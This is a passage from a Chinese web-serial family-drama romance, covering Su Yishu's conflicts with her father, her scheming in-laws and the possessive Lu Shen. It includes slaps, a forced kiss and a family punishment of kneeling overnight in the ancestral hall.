“爸,不是我不帮你。我现在在陆家的处境您也看到了,这肚子里的孩子还没落地,我也没名分。我手里那点私房钱,填个牙缝都不够啊。”
苏可人眼珠一转,笑了下,说道:
“您去找姐姐呀!姐姐现在住在陆家老宅那边。而且我听说,阿钦在擎天的百分之八的股份,老爷子给苏亦姝了!那可是天文数字,只要她稍微从指头缝里漏一点,苏氏就有救了!”
苏振东眼睛一亮。百分之八的股份!
乖乖,他这个女儿,还真是……给了他这么一个大惊喜!
陆家老宅,西侧院。
苏亦姝坐在回廊下,手里捧着一杯热茶,看着院子里那棵枯黄的银杏树,神色淡漠。
福伯快步走进来。
“大少夫人,您的父亲苏振东来了,在院门口说要见您。”
“让他进来吧。”苏亦姝吹了吹茶沫,嘴角勾起一抹讥讽的弧度,“如果不让他进来,他能在老宅门口闹上一天,到时候丢的还是我的脸。”
没过多久,苏振东就被带了进来。
往日里那个衣冠楚楚的苏董,此刻头发凌乱,领带歪斜,满脸的颓败与焦急。
一见到苏亦姝,他那双浑浊的眼睛里瞬间迸发出贪婪和讨好的光。
“亦姝!救救爸爸!救救苏氏!”
苏振东甚至顾不得长辈的尊严,几步冲上前,想要去拉苏亦姝的手,却被苏亦姝避开了。
“怎么了?”苏亦姝并没有起身,只是冷淡地看着他,“如果我没记错,上次在公司,您已经把我撤职了。”
“那是爸糊涂!是爸有眼无珠!”苏振东面色有些挂不住,但是这个时候,也顾不上这些了。
“亦姝,城南项目暴雷了,赵家把我们坑惨了!现在银行催债,供应商堵门,要是没钱,苏氏就完了,爸爸也要去坐牢啊!”
他死死盯着苏亦姝,准备打着亲情牌。
“我知道你手里有钱!分公司的事我不怪你,那是你有本事!还有陆钦给你的股份……亦姝,你随便拿点出来,帮爸爸度过这个难关,以后苏氏就是你的!”
苏亦姝看着眼前这个为了利益毫无底线的男人,只觉得无比可笑。
“分公司?”苏亦姝放下茶杯,声音冷得像冰,“那是为了防止你把它卖了,我才提前做了切割。至于陆钦的股份……”
她站起身,冷冷地看着苏振东,眼神里没有一丝温度。
“那是陆家的东西,跟我有什么关系?况且,苏总,您是不是忘了,当初逼我嫁进陆家的时候,您就说过,嫁出去的女儿泼出去的水。苏氏的死活,与我何干?”
“你……你怎么能这么冷血!”苏振东气急败坏,“我是你亲爹!你妈还在疗养院,那费用……”
“我妈的费用我已经预付了十年,不劳您操心。”苏亦姝直接打断他,“我无能为力,您请回吧。”
“苏亦姝!你见死不救会遭报应的!”苏振东绝望地嘶吼,甚至想要撒泼。
就在这时,院门口传来一阵不急不缓的脚步声。
“亲家公这是怎么了?好大的火气啊。”
程丽梅披着一件深紫色的披肩,带着佣人,雍容华贵地走了进来。
她看了一眼狼狈的苏振东,又看了一眼面色清冷的苏亦姝,眼底闪过一抹精光。
“陆夫人!陆夫人您要给我做主啊!”苏振东像是看到了救星,立刻转身扑向程丽梅,“亦姝她……她见死不救啊!苏氏遭了难,她手里明明有钱,却眼
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睁睁看着我**!”
苏亦姝眉头微皱,看向程丽梅。
按照程丽梅的性子,这种时候应该巴不得看苏家的笑话,甚至会借机羞辱她一番才对。
然而,出乎意料的是,程丽梅脸上竟然露出了一抹温和的笑意,甚至伸手虚扶了一把苏振东。
“亲家公,这话严重了。”程丽梅慢条斯理地说道,“苏家和陆家是姻亲,打断骨头还连着筋呢。苏氏遭了难,我们陆家怎么可能坐视不理?”
苏振东愣住了,苏亦姝也愣住了。
程丽梅转头看向苏亦姝,眼神里带着几分责备,却又显得格外大度。
“亦姝啊,你也真是的。亲爹遭难,哪有不帮的道理?咱们陆家向来重情义,传出去让人说我们刻薄亲家,那多不好听。”
说完,她又笑着对苏振东安抚道:“亲家公,你放心。这件事我会跟老爷子说的。老爷子最看重脸面,苏氏若是倒了,陆家脸上也无光。这笔资金缺口,陆家会想办法帮你周转。”
“真……真的?”苏振东喜出望外,激动得浑身颤抖,“陆夫人,您真是活菩萨啊!太谢谢您了!太谢谢了!”
“一家人不说两家话。”程丽梅笑得一脸慈悲,“福伯,送亲家公出去,顺便拿几盒上好的人参让亲家公带回去补补身子。”
苏振东千恩万谢,临走前还不忘得意地看了一眼苏亦姝,那张老脸笑得跟朵菊花似的,仿佛刚才的狼狈从未存在过。
等到苏振东离开,院子里重新恢复了安静。
苏亦姝看着程丽梅,眼神警惕。
“妈,您这是什么意思?苏氏那个窟窿不是小数目,您为什么要揽下来?”
程丽梅脸上的慈悲瞬间消失,取而代之的是一抹意味深长的冷笑。
她走到苏亦姝面前,压低声音,语气森然。
“苏亦姝,你以为我想帮你那个废物爹?我这是在帮你积德。既然你不想出钱,那就只能让陆家出。不过……”
程丽梅伸出手,帮苏亦姝整理了一下衣领,动作轻柔却让人毛骨悚然。
“陆家的钱不是大风刮来的。老爷子要是知道为了你娘家的烂摊子要动用阿钦在擎天股份的分红,你猜,你在他心里的分量,还能剩多少?”
苏亦姝心头一沉。
原来如此。
程丽梅这是在捧杀。
她明面上帮了苏振东,实则是要用苏家的无底洞,彻底耗尽老爷子对苏亦姝的最后一丝耐心和好感。
苏亦姝紧了紧手指,脑海中已经勾勒出那个画面来了……
第八十七章 方思荷动了
程丽梅自诩看透了人性,认为血脉亲情是苏亦姝永远卸不掉的枷锁。
可她忘了,苏亦姝是在苏家的冷暴力和算计中长大的,亲生父亲的贪婪早已磨灭了她心底最后的一丝温情。
程丽梅走后,苏亦姝站在回廊下,看着那抹绛紫色的背影消失,嘴角勾起一抹讥讽的冷笑。
她转身,没有回房,而是直接去了老爷子的书房。
“爷爷,我想去医院看看思荷。”苏亦姝开门见山,神色诚恳中带着一抹恰到好处的脆弱,“回来这些日子,老宅诸事纷杂,我这心里始终记挂着她。”
老爷子放下手中的古籍,浑浊的老眼扫过苏亦姝的脸。
他自然知道苏振东刚才来闹过,也知道程丽梅那点“捧杀”的心思。
老宅的事情,就没有能瞒得过他的。
“去看看也好。至于苏氏的事……”老爷子话音微顿,像是在试探,“亲家公到底是你的生父,陆家若真撒手不管,外面恐怕有闲话。”
“爷爷,苏氏的窟窿是贪欲填出来的,陆家即便砸再多钱,也救不回一个已经烂透了的根。”
苏亦姝低垂眼睫,语气果决,“与其浪费资源,不如顺其自然。我身为陆家媳,自当以陆家利益为先。”
老爷子眼中闪过一抹赞赏。苏亦姝的清醒,深得他心。
“亦姝,你有这份心,阿钦在天之灵也会欣慰。”老爷子缓缓起身,“若苏氏真的保不住了,你作为苏家唯一的继承人,真的不管也不好。或者,让擎天出面,苏氏纳入擎天的旗下,当然,依旧还是苏氏。这只是爷爷的建议,真正的,还是要看你自己如何来安排。”
苏亦姝心头微哂,老爷子这如意算盘打得响。
合并苏氏,不仅名声好听,更重要的是能让擎天顺理成章地吞掉苏家多年的渠道还有核心技术。虽然,之前她拿苏氏的技术跟老爷子做交易,但是那些技术,并不是苏氏核心的技术。
要知道,苏氏在江城屹立这么多年,也不是靠着运气,更不是靠着苏振东那点算计,其实真正靠着的,是苏氏的核心技术。
这项技术,是当年妈妈从外公那边拿过来的,为的,就是强盛苏氏。
可是后来……这一切,竟是那么的不值。
“我会考虑的。”苏亦姝没有直接应承,语气模棱两可。
正说着,陆彦从外面走了进来,手里拿着一份报表,笑得温润如玉,“爷爷,南城那边……”
“阿彦,南城的事先放一放。”老爷子打断他,“亦姝要去医院看方家那丫头,你陪她走一趟。江城最近不太平,亦姝身上的伤还没恢复,你照顾一下你嫂子,我也放心一些。”
陆彦嘴角的笑容僵了一瞬,随即恢复如常,甚至带着几分恭敬。
“那是自然,陪大嫂去医院,是我的本分。”
苏亦姝心中了然。
名为陪同,实为监视。
老爷子虽然赞赏她,但依然从未真正信任过她。
更多的,是担心自己去医院,会跟陆慎见面吧……
呵呵……
苏亦姝转头,对上陆彦那双藏在金丝眼镜后的深沉眼眸,淡然道:“那就麻烦四弟了。”
“大嫂客气了。”陆彦笑着。
江城第一医院,特护区。
隔着厚厚的无菌玻璃,苏亦姝看着躺在床上、浑身插满管子的方思荷。
那个曾经鲜活的女孩子,此刻苍白得像一张纸。
愧疚感涌上心头,苏亦姝的手指紧紧贴在玻璃上,指尖冰冷。
“大嫂和方小姐的感情,真是让人羡慕。”陆彦站在她身侧半步远的地方,看着苏亦姝。
“四弟没经历过生死与共,自然不懂。”苏亦姝连头都没回,依旧看着玻璃里的人儿。“她是我在人生最黑暗,最低谷时的阳光。因为这束光,我重新活过来了……”
陆彦一愣,有些诧异。
倒是没想到,苏亦姝还有这样的经历……
这时,方华睿步履匆匆地走了过来。
看到苏亦姝身旁的陆彦,他眼底闪过一丝疑惑和戒备,但在这种场合,他只是礼貌性地
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朝陆彦点了点头,便转头看向苏亦姝。
“亦姝,你来了。”方华睿的声音带着浓重的疲惫,“思荷今天的情况稍微稳了一点,但我还是怕……”
“方大哥,我想进去陪她说两句话,可以吗?”苏亦姝看向方华睿。
方华睿看向一旁的巡房医生,得到点头允许后,苏亦姝换上了隔、离服,缓步走进了那个只有仪器滴答声的封闭空间。
玻璃外,陆彦和方华睿并肩而立。
“没想到,陆、四少会陪着亦姝来医院。”方华睿看着里面那个瘦削的背影,语气清淡,听不出其他的情绪来。
“长辈吩咐,不得不从。”陆彦笑得滴水不漏,目光却死死锁在苏亦姝身上。
病房内,苏亦姝颤抖着手,握住了方思荷那只冰冷且干枯的手。
因为长时间的躺在病床上,没有进食,身体很多机能都**了。
“思荷,对不起,我来晚了。”苏亦姝的声音压得很低,带着压抑的轻颤。
“你快醒过来,好不好?你不是说想看我彻底自由的那一天吗?你若是不醒,我一个人走得太累了……”
她一边说着,一边轻轻揉、搓着方思荷的手掌,试图带去一点温度。
就在这时,苏亦姝突然感觉到,掌心那一截原本僵硬的小指,极其轻微地勾了一下。
那一瞬间,苏亦姝浑身的血液沸腾了,她屏住呼吸,死死盯着方思荷的手指。
又是一动!虽然微弱,却真真切切!
“医生!医生快进来!”苏亦姝失控地尖叫起来,眼泪夺眶而出,“思荷动了!她的手指动了!方华睿!快进来!”
外面的方华睿浑身一震,猛地撞开门冲了进去。
医生和护士迅速围拢,检测仪上的波段开始剧烈起伏。
陆彦站在玻璃窗外,神色依旧平静。
他看着病房里忙碌的众人,看着苏亦姝那狂喜的脸庞,眼底似乎有些情绪跟着波动起来了。
这样失态的苏亦姝,他还是第一次见。
非常鲜活……
第八十八章 甜品风波起
病房里,医生在给方思荷进项全方位的检测。
苏亦姝站在玻璃外面,眼睛紧盯着里面,生怕错过一点。
方思荷的手指在刚才那两次微动后又归于平静,但医生给出的结论却如同一剂强心针:
“病人确实出现了清醒的征兆,这是大脑皮层活跃的表现,是个奇迹。”
方华睿站在医生旁边,看着医生记录着各项数值。
苏亦姝紧绷的弦终于松开,眼眶里积蓄的泪水滑落。
她不舍地看着方思荷,终于,能看到一丝希望了。
良久,方华睿低声提醒:“亦姝,你出来的时间不短了……你的手臂还没恢复,要多休息。”
苏亦姝明白方华睿的意思,她自嘲地勾了勾唇。
是啊,她现在看似风光,实则笼中鸟,出来放风的时间都有定数。
“我知道,方大哥,思荷这边有任何动静,一定要第一时间告诉我。”
她脱下隔、离服,走出病房时,已经恢复了那副清冷端庄的模样。
陆彦依旧靠在走廊的墙边,见她出来,不仅没有催促,反而温和地问了句,“看大嫂这神情,方小姐是有好转了?”
刚才医生进去后,他就出来了。
对于方思荷的情况,他并不关心。
“嗯,有点好转了……”苏亦姝没说太多,毕竟跟陆彦,也不熟。关键是,他们也不是一路人。
走出医院大门,陆彦替她拉开车门,手搭在车顶,状似随意地问:“大嫂还想去哪儿转转?难得赔大嫂出来转转……”
苏亦姝本就不想回老宅,更不想对着陆彦这张虚伪的脸,但心头那股因为方思荷而起的酸涩让她突然渴望一点甜。
“去城北路的‘思慕’甜品店吧。”
那是她和方思荷以前经常光顾的地方。
到了店里,苏亦姝轻车熟路地给自己点了一份招牌草莓慕斯。那种甜腻的味道滑入喉咙,才让她感觉到一丝真实的人间烟火气。
“四弟有什么想吃的吗?我请客……”她出于礼节随口一问。
陆彦推了推金丝眼镜,看着对面坐姿优雅、即便吃甜点也透着股疏离感的女人,笑着说道:“既然大嫂请客,那我就不客气了……”
他们不知道的是,窗外,快门声极轻地响了一下。
……
与此同时,顾氏私所。
啪嚓——昂贵的波希米亚水晶杯被狠狠砸在地上,碎片溅到了陈淮的脚边。
陆慎盯着平板电脑上的照片,额角的青筋暴起。
照片里,阳光穿透玻璃窗,苏亦姝正低头挖着一勺甜品,而坐在她对面的陆彦,目光正一瞬不瞬地盯着她,那眼神里的探究和兴致,同为男人的陆慎再清楚不过。
“他们怎么会坐在一起?”陆慎嗓音嘶哑,整个人透着暴躁和愤怒。
顾从之揉了揉眉心,无奈道:“阿慎,你冷静点。老宅那边传话,是老爷子下令让陆彦陪同苏亦姝去医院看方思荷的。而且,今天方思荷有了苏醒的迹象,苏亦姝心情起伏大,去吃点甜的放松一下也正常。她总不能在大街上跟陆彦撕破脸。”
“正常?”陆慎猛地转头,眼神阴鸷得吓人,“你告诉我哪里正常了?陆彦在想什么,我一清二楚!我要弄死陆彦!”
顾从之一愣,立即说道:“你淡定点,你这样,只会让苏亦姝离你越来越远!”
这话,让陆慎面色一僵。
是啊,苏亦姝巴不得自己离她离得远远的……可是,这是他绝对不能允许的。
不仅是陆慎,赵家宅邸内的赵西双也同样摔了东西。
她看着手机里的抓拍图,虽然她对陆彦只有利用,但陆彦名义上已经是她的未婚夫。
苏亦姝刚毁了她的订婚宴,转头就和她的准丈夫在街头“约会”,这耳光再一次扇到了她脸上。
“苏亦姝,你是只会抢我赵西双的男人……很好……我会让你知道,我赵西双的东西,可不是那么容易得到的!”赵西双涂的指甲死死扣进掌心,双眼透着狠辣。
陆家老宅。
苏亦姝刚踏进正厅,就感觉到了几道不善的视线传来。
二房的柯沁正坐在沙发上修指甲,见两人一同回来,立刻掩唇轻笑,声音阴阳怪气。
“哟,亦姝跟阿彦这关系,还真是突飞猛进啊。这出一趟门,回来的时候连气场都和谐了不少。”
苏亦姝还没说话,陆玥就带着火气从楼上冲了下来。
一把将陆彦从苏亦姝身边拉开,指着苏亦姝的鼻子破口大骂。<
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br>“苏亦姝,你这个女人到底还要不要脸!能不能别到处勾引别人的未婚夫?之前缠着阿慎哥哥,现在又想来祸害我哥!你就这么喜欢当狐狸精,专挑有主的男人下手?”
陆彦眉头猛地一皱,还没等他开口,陆玥的声音又再次传来。
“你除了长了这张勾引人的脸,还会什么?克死我大哥,现在又想在家里搅风搅雨,我哥是要跟西双姐订婚的人,你居然带他去吃甜品?你想恶心谁啊!”
“陆玥,闭嘴!”陆彦呵斥一声。
但已经晚了。
“啪!”
一声清脆且沉重的巴掌声响彻大厅。
陆玥的脸被扇得歪向一边,五个鲜红的指印迅速浮现。
苏亦姝收回手,眼神冷得没有一丝温度,甚至还带着一股让人胆寒的戾气。
“陆玥,看来之前的教训,是一点记性都没让你长。”
苏亦姝上前一步,逼视着惊呆了的陆玥,“第一,我是你的大嫂,长嫂如母,教训你是我的权利;第二,管好你自己的嘴,再让我听到那三个字,我就撕烂它。至于你哥——”
苏亦姝斜睨了一眼陆彦,嘴角挂着嘲讽的笑,“这种连亲妹妹都教不好的男人,送给我我都嫌脏。”
“你敢打我?哥!你看她!”陆玥捂着脸尖叫。
陆彦看着苏亦姝那双燃烧着怒火、却格外晶亮的眸子,心跳竟不由自主地漏掉了一拍。
他不仅没去扶陆玥,反而冷声道:“陆玥,回去闭门思过。赵西双跟你说了什么我不管,但在陆家,大嫂就是大嫂,谁准你以下犯上的?”
陆玥不可思议地看着自家亲哥,眼泪夺眶而出,捂着脸跑上了楼。
苏亦姝看都没看陆彦一眼,径直走向西侧院。
她很清楚,这一巴掌下去,老宅这潭污水,又要炸了。
但她苏亦姝,不怕。更希望,这潭污水,越浑越好……
苏亦姝刚回到房间,就被一双有力的手猛地抵在了门板上。
熟悉的冷冽烟草味袭来,紧接着是陆慎咬牙切齿声音。
“甜品好喝吗?嗯?大嫂?”
他温热的呼吸喷在她的颈间,带着浓浓的嫉恨和占有欲。
“还是说,陆彦那张脸,比我的更好看?”
第八十九章 公堂对峙,各打五十大板
苏亦姝被他抵在门板上,脊背贴着冰冷的实木,身前却是男人滚烫如铁的胸膛。
那种熟悉的、充满侵略性的气息瞬间将她包裹住,让她有一瞬间的窒息。
尤其是陆慎那亮的惊人的眼眸,眼里清晰倒映出她此刻的模样,夹杂着他眼底的占有欲和偏执……
“说话!”
陆慎见她沉默,心中的躁郁更甚。
他猛地低下头,鼻尖狠狠蹭过她的脸颊,带着惩罚意味地咬了一下她的耳垂,声音沙哑。
“那个**子带你去吃甜品你就吃?他对你笑你就笑?苏亦姝,你什么时候变得这么好说话了?在我面前那副宁死不屈的劲头呢?还是说……”
他的手顺着她的腰线滑落,用力地扣住她的胯骨,将她更紧地按向自己,语气危险至极。
“你真的在考虑,换个更有前途的‘陆家少爷’依靠?”
“啪!”
苏亦姝没有手软,抬起未受伤的右手,甩了他一巴掌。
这一巴掌并不重,因为两人的距离太近,发力受限。
一天之中甩了两个巴掌出去,苏亦姝有些心疼自己的手……
“疯够了吗?”
苏亦姝的声音异常冰冷,在这逼仄的空间里渐渐让两人之间的暧昧淡化。
“陆慎,你有什么资格质问我?”
她仰起头,直视着那双猩红的眸子,嘴角勾起一抹极尽的嘲讽。
“陆彦虽然虚伪,但他至少维持着表面的体面,不会像一直发情的疯狗一样,随时随地想咬人一口。比起他,你这种只会用强权和暴力来宣泄情绪的男人,才更让我恶心。”
“恶心?”
这两个字像是一把利剑,刺穿了陆慎的心脏。
他突然低笑出声,胸腔剧烈震动,笑声中透着令人毛骨悚然的狠戾。
“嫌我恶心?苏亦姝,你别忘了,你身上每一寸皮肤我都碰过,你早就脏了,跟我一样脏!”
话音一落,他猛地扣住她的后脑勺,带着毁天、灭地的怒火吻了下去。
这不是吻,是撕咬,是吞噬。
他撬开她的齿关,霸道地扫荡着她的一切,舌尖尝到了血腥味,那是他咬破了她的唇,也是她咬破了他的。
苏亦姝拼命挣扎,左手的伤口隐隐作痛,但她一声不吭,只是用那双冰冷的眼睛盯着他,眼底一片冷漠。
这种眼神比反抗更让陆慎崩溃。
他猛地松开她的唇,却并未退开,而是将额头死死抵着她的额头,两人的呼吸急促地交缠在一起,在这安静的环境里显得格外暧昧。
“别对他笑……”
陆慎的声音突然低了下去,带着一丝破碎的祈求,还有一些妥协……
“苏亦姝,别对他笑。你要什么我都给你,命也给你。但你别对他笑……我会疯的,我真的会忍不住杀了他,再把你锁起来,让你这辈子都只能看着我。”
苏亦姝的心脏猛地一颤。
她感受到了陆慎身体的颤抖,那是极度不安和恐惧的表现。
这个在商场上杀伐果断、连亲生母亲都敢顶撞不在意的男人,此刻却像个患得患失的孩子,在她面前展露出了最脆弱的一面。
可是,那又如何?
迟来的深情,比草都轻贱。
苏亦姝闭了闭眼,再睁开时,眼底只剩下一片荒芜。
“陆慎,你看看这里是哪里。”
她轻声开口,语气平静得让人害怕。
“这是陆钦的房间。你就在你亲哥哥的灵位不远处,压着他的遗孀,说着这种大逆不道的话。你就不怕他半夜回来找你索命吗?”
陆慎浑身一僵。
苏亦姝趁机推开他一点距离,整理了一下被他弄乱的衣领,每一个动作都充满了嫌弃。
“你说陆彦是**子,可至少他知道我是大嫂。而你呢?陆慎,你连畜生都不如。”
陆慎站在原地,他看着苏亦姝那副冷漠的模样,眼底的光一点点熄灭……
“好……好得很。”
陆慎缓缓后退一步,嘴角重新挂上了那抹招牌式的邪笑,只是这次的笑容里,没有了温度。
“既然大嫂这么看重这个身份,那我就帮你守好它。”
他伸手,替苏亦姝理了理耳边的碎发,指尖划过她的耳廓。
“离陆彦远点。他今天带你去那家甜品店,不是为了讨好你,是为了试探我的底线。那家店周围,埋了不下十个眼线。”
苏亦姝瞳孔微缩。
陆慎俯身,在她耳边落下最后一句警告,声音轻柔却令人胆寒。
“苏亦姝,你是我的劫,也是我的药。我不想毁了你,但如果有人想把你从我身边抢走……我不介意先毁了这个世界,再拉着你一起下地狱。”
说完,他转身拉开门,头也不回地离开了。
直到那道高大的身影彻底消失,苏亦姝才感觉浑身的力气被抽干,顺着门板缓缓滑坐在地。
她摸了摸红肿刺痛的嘴唇,指尖沾染了一抹殷红的血迹。
那是陆慎的血,也是她的。
在这个**的陆家,他们就像两只困兽,在彼此撕咬中鲜血淋漓,却又在某种程度上,成了彼此唯一的真实。
但她不能心软。
一旦心软,就是万劫不复。
这个时候,敲门声起。
“大少夫人,老爷子让您去前厅一趟。”
“好,马上就来。”苏亦姝回应着。
深吸一口气,从地上站起来。
她走到镜子前,用纸巾擦去嘴角的血渍,又补了一层口红,遮盖住那抹暧昧的红肿。
整理好衣襟,确认自己看起来没有异样后,她才打开房门。
“福伯,走
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吧。”
福伯看着苏亦姝冷淡却从容的神色,眼底闪过一丝复杂,低头带路。
老宅正厅,此时气氛压抑。
苏亦姝刚跨进门槛,就感觉无数道视线扫了过来。
主位上,老爷子闭目养神,手里转着佛珠。
左侧坐着二房的陆子谦夫妇,右侧则是三房的陆子勋夫妇,赵西双坐在陆玥身边,正拿着纸巾给哭得梨花带雨的陆玥擦眼泪。
“啪!”
何婉如一见到苏亦姝,手中的茶盏重重磕在桌上,站起身指着苏亦姝的鼻子骂道:
“苏亦姝!玥玥是你小姑子,你竟然下得去手打她?还打了两次!你是不是真当我们三房死绝了?”
苏亦姝站在大厅中央,脊背挺得笔直,面对何婉如的唾沫横飞,她连眼皮都没抬一下。
“三婶这话说的,长嫂如母。既然三婶教不好女儿,让她满嘴喷粪不知尊卑,那我这个做大嫂的,受点累替您管教一下,您不谢我就算了,怎么还怪起我来了?”
“你——!你是个什么东西,也配替我管教女儿?”何婉如气得浑身发抖。
“我是陆家明媒正娶的长房长媳,上了族谱的。只要陆玥还叫我一声大嫂,我就有资格管。”苏亦姝声音清冷,字字铿锵。
一直没说话的赵西双此时轻叹了一口气,柔声说道:“亦姝姐,你心情不好,也不能拿玥玥出气不是。玥玥是名门闺秀,脸面最重要。你这动不动就动手,传出去,别人只会说苏家……家教欠妥。”
苏亦姝转过头,冷冷地睨着赵西双。
“赵小姐,这里是陆家家事,你一个还没过门的未婚妻,有什么资格在这里置喙陆家的家事?”
赵西双脸色一僵。
苏亦姝朝着站在一旁的陆彦看去,见他一副事不关己的模样,苏亦姝心中冷笑。
看向赵西双,语气不急不缓继续说着。
“况且,我和陆彦还没说什么,你倒是先急着护短了。赵小姐若是真这么闲,不如多管管你那个未婚夫,问问他为什么放着你这个正牌未婚妻不陪,非要拉着我去吃甜品。怎么?你是管不住男人,所以只能来找女人的麻烦?”
“你!”赵西双被戳中痛处,那张伪装得体的脸瞬间有些挂不住。
陆子勋见老婆和未来侄媳妇都败下阵来,沉着脸看向老爷子。
“爸!您听听!这就是咱们陆家的长孙媳!牙尖嘴利,目无尊长!我这才回国多久,玥玥就被她打了两巴掌。这要是传出去,咱们陆家的脸还要不要了?以后,外面指不定如何说我们陆家呢!”
一直闭目养神的老爷子终于睁开了眼。
那双浑浊却锐利的眼睛在厅内扫视一圈,最后落在苏亦姝身上,目光在这一瞬间变得极具压迫感。
“都吵够了吗?”
第九十章 以退为进,无趣的很
老爷子声音不大,却透着不容置疑的威严。
大厅内瞬间安静下来,连陆玥的抽泣声都憋了回去。
“陆玥。”老爷子沉声道。
陆玥连忙站起来,委屈地叫了一声:“爷爷……”
“你是陆家的小姐,从小学的礼仪规矩都读到狗肚子里去了?对着长嫂大呼小叫,口出恶言,这是一个名门淑女该有的样子吗?”
陆玥不可置信地看着老爷子,眼泪又涌了出来:“爷爷,是她先勾引……”
“闭嘴!”老爷子厉喝一声,“还没学会闭嘴吗?看来那两巴掌确实没把你打醒!”
陆玥吓得浑身一哆嗦,不敢再说话,只能求助地看向父母。
陆子勋和何婉如也不敢触老爷子的霉头,只能憋着气。
苏亦姝神色未变,她知道,这只是开始。
果然,下一秒,老爷子的目光如刀锋般转向了她。
“亦姝。”
“爷爷。”苏亦姝垂首。
“你是长房长媳,该有的气度要有。不管陆玥说了什么,她毕竟是妹妹。一家人动不动就扇巴掌,成何体统?你这一巴掌打下去,打的是陆玥的脸,丢的是整个陆家的体面!”
老爷子顿了顿,语气变得严厉。
“既要立规矩,那就都立!陆玥目无尊长,口无遮拦;苏亦姝行事鲁莽,缺乏容人之量。今晚,你们两个都去祠堂跪着!不到天亮,谁也不许起来!”
“爸!”何婉如惊叫,“跪一晚上腿会废的!玥玥身体娇弱……”
“不想跪就滚出陆家!”老爷子将佛珠重重拍在桌上,“谁再求情,就跟着一起跪!”
何婉如瞬间噤声。
苏亦姝心中冷笑。
这就是老爷子的平衡术。
各打五十大板,既敲打了三房的嚣张气焰,又惩戒了她的“逾矩”,维持了他作为大家长绝对的权威。
“孙媳领罚。”苏亦姝面无表情地应下。
深夜的祠堂,阴森而肃穆。
几百个牌位层层叠叠地摆放着,在摇曳的烛火下投射出长短不一的阴影。
苏亦姝跪在蒲团上,脊背挺得笔直,双手交叠在身前,神色淡然。
反观旁边的陆玥,早就跪不住了。
她是陆家娇生惯养的小姐,哪里受过这种罪?
才跪了不到两个小时,就像只**毛虫一样扭来扭去,嘴里更是没停过。
“苏亦姝,你这个扫把星!都是因为你,我的膝盖都要断了!”
陆玥一边揉着膝盖,一边恨恨地瞪着苏亦姝的侧脸,骂骂咧咧道:
“你就是个祸害!自从你回了老宅,我就没过一天安生日子。先是阿慎哥被你迷得五迷三道的,现在又连累我受罚。你怎么不**啊?”
苏亦姝连眼皮都没抬一下,声音清冷平稳。
“省点力气吧。这里阴气重,你若是再口无遮拦,惊扰了列祖列宗,只怕今晚不只是跪着这么简单了。”
“你……你少拿**吓唬我!”
陆玥虽然嘴硬,但还是下意识地缩了缩脖子,看了眼上面黑漆漆的牌位,声音明显虚了几分。
“你等着,等明天出去了,我一定告诉爸妈,让他们把这笔账算回来!”
“随你。”苏亦姝淡淡吐出两个字,便不再理会。
这种无视的态度让陆玥更觉得像是一拳打在了棉花上,气得她直磨牙,只能在心里把苏亦姝骂了一百遍,却又无可奈何。
不知过了多久,祠堂外传来了一阵轻微的脚步声。
紧接着,厚重的木门被推开一条缝,一道修长的身影逆着灯光走了进来。
陆玥眼睛一亮,像是看到了救星,“哥!是不是妈让你来救我的?”
来人正是陆彦。
他手里提着一个食盒,快步走上前。
但他并没有第一时间去扶陆玥,而是先看了一眼跪得笔直的苏亦姝,眼底闪过一丝不易察觉的幽光。
“嘘,小点声。”
陆彦做了个噤声的手势,蹲下身子打开食盒,里面是一层精致的点心和两碗热粥。
“爷爷睡下了,我偷偷过来的。饿了吧?先吃点东西垫垫。”
陆玥委屈得眼泪直掉,伸手就要去端粥。
“哥,我腿都快废了,那老头真是狠心……”
“玥玥,那是爷爷,慎言。”
陆彦轻声斥责了一句,随后端起另一碗粥,递到了苏亦姝面前。
语气温润而愧疚,“大嫂,对不起。今天的事,是我考虑不周。我不该带你去甜品店,更没想到会惹出这么大的风波,连累大嫂受罚,是陆彦的过错。”
苏亦姝看着递到面前的那碗粥,冒着热气,看起来十分诱人。
但她只是冷冷地瞥了一眼陆彦,没有接。
“四弟言重了。既然知道是连累,那以后离我远点便是最好的道歉。”苏亦姝声音冷淡,拒人于千里之外。
陆玥正喝着粥,见苏亦姝这副态度,顿时又不乐意了。
“苏亦姝,你装什么清高?我哥好心给你送吃的,还跟你道歉,你摆这张臭脸给谁看?”
陆彦苦笑一声,将粥放在苏亦姝面前的地上,转头对陆玥说道,
“玥玥,不许再无理取闹!今天去甜品店,本来就是爷爷的吩咐。爷爷让我陪大嫂去医院的,说大嫂手臂未痊愈,跟着照看一下。
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去甜品店,也是我想着带大嫂散散心,但我没想到会被人偷拍,还传到了西双那里,让你误会了。”
“噗——”陆玥差点被一口粥呛到。
她瞪大了眼睛,一脸不可思议地看着陆彦。
“什么?是爷爷让你们去的?”
“是。”陆彦点头,神色坦荡,“大嫂心情不好,爷爷特意叮嘱的。我和大嫂清清白白,只是单纯地吃个东西。是你太冲动了,听信了别人的闲言碎语。”
陆玥愣住了。
她虽然娇纵,但也没脑残到极点。
既然是爷爷的命令,那就说明自家哥哥根本没有要背叛赵西双的意思,更不存在什么“移情别恋”。
一想到自己因为赵西双那个女人的几句哭诉,就傻乎乎地冲回家当出头鸟,还挨了两巴掌,现在还得跪祠堂,陆玥心里就一阵憋屈。
那个赵西双,平时看着端庄大方,没想到竟然拿她当枪使!
陆玥咬了咬嘴唇,有些心虚地看了一眼苏亦姝。
既然是误会,那她今天那通闹腾确实有点无理取闹。
可是……
陆玥看着苏亦姝那张在烛光下依旧美得惊心动魄的脸,还有那副即使跪着也高高在上的姿态,心里的那一丁点愧疚瞬间又被嫉妒和厌恶淹没了。
误会又怎么样?
反正苏亦姝这个女人本身就不是什么好东西!
以前勾搭阿慎哥是事实,现在虽然是爷爷的命令,但她要是知道避嫌,不去那个甜品店,不就没这些事了吗?
说到底,还是苏亦姝不知检点!
“哼。”陆玥重重地哼了一声,“苍蝇不叮无缝的蛋,她要是正经,也不会被人拍这种照片造谣!”
陆彦无奈地叹了口气,看向苏亦姝的眼神里满是“纵容妹妹不懂事”的歉意。
“大嫂,玥玥被惯坏了,你别跟她计较。这粥趁热吃两口吧,还要跪下半夜呢。”
苏亦姝依旧闭着眼,连一句多余的话都懒得说。
陆彦见状,也不恼,只是眼底的温润渐渐褪去,取而代之的是一种深不见底的审视。
他站起身,拍了拍陆玥的肩膀,“那你先吃,我去外面守着,免得被人发现。”
说完,他深深看了一眼苏亦姝那倔强的背影,转身走出了祠堂。
直到门关上,苏亦姝才缓缓睁开眼,目光落在地上那碗渐渐变凉的粥上,眼底划过一抹寒意。
陆彦这招以退为进,玩得真是炉火纯青。
既安抚了陆玥,又在她面前刷了一波“好人卡”,顺便还能把责任推给老爷子和赵西双。
